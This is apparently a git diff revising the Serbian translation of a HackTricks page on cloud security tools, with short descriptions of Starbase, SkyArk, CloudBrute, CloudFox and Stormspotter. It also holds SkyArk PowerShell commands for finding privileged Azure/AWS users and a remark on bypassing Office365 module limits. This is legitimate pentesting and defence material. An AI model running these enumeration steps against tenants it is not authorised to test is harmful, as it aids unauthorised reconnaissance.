Starbase prikuplja resurse i relacije iz servisa i sistema, uključujući infrastrukturu u oblaku, SaaS applications, bezbednosne kontrole i još mnogo toga, u intuitivan prikaz grafa koji se oslanja na Neo4j bazu podataka.
|
||||
Starbase prikuplja resurse i odnose iz servisa i sistema, uključujući cloud infrastrukturu, SaaS aplikacije, sigurnosne kontrole i još mnogo toga, u intuitivan grafički prikaz koji koristi Neo4j bazu podataka.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
|
||||
|
||||
### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
||||
|
||||
Otkrijte najprivilegovanije korisnike u skeniranom AWS ili Azure okruženju, uključujući AWS Shadow Admins. Koristi powershell.
|
||||
Otkriva najprivilegovanije korisnike u skeniranom AWS ili Azure okruženju, uključujući AWS Shadow Admins. Koristi powershell.
|
||||
```bash
|
||||
Import-Module .\SkyArk.ps1 -force
|
||||
Start-AzureStealth
|
||||
@@ -372,15 +372,15 @@ Scan-AzureAdmins
|
||||
```
|
||||
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
|
||||
|
||||
Alat za pronalaženje infrastrukture kompanije (target), fajlova i aplikacija kod vodećih provajdera u oblaku (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
|
||||
Alat za pronalaženje infrastrukture kompanije (cilja), fajlova i aplikacija na vodećim cloud provajderima (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
|
||||
|
||||
### [CloudFox](https://github.com/BishopFox/cloudfox)
|
||||
|
||||
- CloudFox je alat za pronalaženje exploitable attack paths u cloud infrastrukturi (trenutno su podržani samo AWS & Azure, a GCP dolazi uskoro).
|
||||
- To je enumeration tool koji je namenjen da dopuni manual pentesting.
|
||||
- Ne kreira niti ne menja bilo koje podatke unutar cloud okruženja.
|
||||
- CloudFox je alat za pronalaženje iskoristivih puteva napada u cloud infrastrukturi (trenutno podržani samo AWS & Azure, a GCP dolazi uskoro).
|
||||
- To je alat za enumeraciju koji je namenjen da dopuni manualni pentesting.
|
||||
- Ne kreira niti menja bilo koje podatke unutar cloud okruženja.
|
||||
|
||||
### More lists of cloud security tools
|
||||
### Više spiskova alata za cloud sigurnost
|
||||
|
||||
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
|
||||
|
||||
@@ -410,13 +410,13 @@ aws-security/
|
||||
azure-security/
|
||||
{{#endref}}
|
||||
|
||||
### Graf napada
|
||||
### Attack Graph
|
||||
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter)kreira „attack graph“ resursa u Azure subscription. Omogućava red teams i pentesters da vizualizuju attack surface i pivot opportunities unutar tenant-a, i značajno pomaže vašim defenders da brzo orijentišu i prioritetizuju incident response rad.
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter) kreira „attack graph“ resursa u Azure pretplati. Omogućava red teams i pentesters da vizualizuju površinu napada i mogućnosti pivotovanja unutar tenant-a, i ubrzava vaše odbrambene timove da se brzo orijentišu i daju prioritet radu na odgovoru na incidente.
|
||||
|
||||
### Office365
|
||||
|
||||
Potrebate **Global Admin** ili bar **Global Admin Reader** (ali imajte na umu da je Global Admin Reader pomalo ograničen). Međutim, ta ograničenja se pojavljuju u nekim PS modules i mogu se zaobići pristupanjem funkcijama **putem web aplikacije**.
|
||||
Potrebno je imati **Global Admin** ili bar **Global Admin Reader** (ali imajte na umu da je Global Admin Reader pomalo ograničen). Međutim, ta ograničenja se pojavljuju u nekim PS modulima i mogu se zaobići pristupanjem funkcijama **preko web aplikacije**.
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user